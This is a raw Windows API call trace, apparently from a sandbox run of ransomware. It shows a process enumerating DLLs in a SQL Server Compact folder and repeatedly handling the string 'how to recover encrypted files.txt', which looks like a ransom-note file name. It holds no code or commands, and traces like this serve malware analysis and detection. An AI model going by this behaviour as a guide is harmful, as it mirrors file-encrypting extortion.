WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0b0, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcecompact35.dll", cchWideChar=77, lpMultiByteStr=0x18e08c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcecompact35.dll", lpUsedDefaultChar=0x0) returned 77 [0041.163] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0b0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllmpact Edition\\v3.5\\sqlcecompact35.dll", lpUsedDefaultChar=0x0) returned 4 [0041.163] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="SQLCEE~1.DLL")) returned 1 [0041.163] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.163] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.163] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.163] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.163] GlobalUnlock (hMem=0x44000c) returned 0 [0041.163] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.163] GlobalLock (hMem=0x440004) returned 0x550178 [0041.163] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.163] GlobalUnlock (hMem=0x44000c) returned 0 [0041.163] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.163] GlobalUnlock (hMem=0x440004) returned 0 [0041.163] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.164] CharLowerBuffW (in: lpsz="sqlceer35EN.dll", cchLength=0xf | out: lpsz="sqlceer35en.dll") returned 0xf [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0b0, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceer35EN.dll", cchWideChar=74, lpMultiByteStr=0x18e08c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceer35EN.dlly", lpUsedDefaultChar=0x0) returned 74 [0041.164] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0b0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllmpact Edition\\v3.5\\sqlceer35EN.dlly", lpUsedDefaultChar=0x0) returned 4 [0041.164] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="SQLCEM~1.DLL")) returned 1 [0041.165] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.165] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.165] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.165] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.165] GlobalUnlock (hMem=0x440004) returned 0 [0041.165] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.165] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.165] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.165] GlobalUnlock (hMem=0x440004) returned 0 [0041.165] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.165] GlobalUnlock (hMem=0x44000c) returned 0 [0041.165] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.165] CharLowerBuffW (in: lpsz="sqlceme35.dll", cchLength=0xd | out: lpsz="sqlceme35.dll") returned 0xd [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0b0, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceme35.dll", cchWideChar=72, lpMultiByteStr=0x18e08c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceme35.dllr", lpUsedDefaultChar=0x0) returned 72 [0041.166] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0b0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllmpact Edition\\v3.5\\sqlceme35.dllr", lpUsedDefaultChar=0x0) returned 4 [0041.166] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="SQLCEO~1.DLL")) returned 1 [0041.166] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.166] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.166] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.166] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.166] GlobalUnlock (hMem=0x44000c) returned 0 [0041.166] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.166] GlobalLock (hMem=0x440004) returned 0x550178 [0041.166] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.166] GlobalUnlock (hMem=0x44000c) returned 0 [0041.166] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.166] GlobalUnlock (hMem=0x440004) returned 0 [0041.166] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.166] CharLowerBuffW (in: lpsz="sqlceoledb35.dll", cchLength=0x10 | out: lpsz="sqlceoledb35.dll") returned 0x10 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0b0, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceoledb35.dll", cchWideChar=75, lpMultiByteStr=0x18e08c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceoledb35.dll", lpUsedDefaultChar=0x0) returned 75 [0041.167] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0b0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllmpact Edition\\v3.5\\sqlceoledb35.dll", lpUsedDefaultChar=0x0) returned 4 [0041.167] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="SQLCEQ~1.DLL")) returned 1 [0041.167] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.167] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.167] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.167] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.168] GlobalUnlock (hMem=0x440004) returned 0 [0041.168] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.168] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.168] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.168] GlobalUnlock (hMem=0x440004) returned 0 [0041.168] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.168] GlobalUnlock (hMem=0x44000c) returned 0 [0041.168] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.168] CharLowerBuffW (in: lpsz="sqlceqp35.dll", cchLength=0xd | out: lpsz="sqlceqp35.dll") returned 0xd [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, 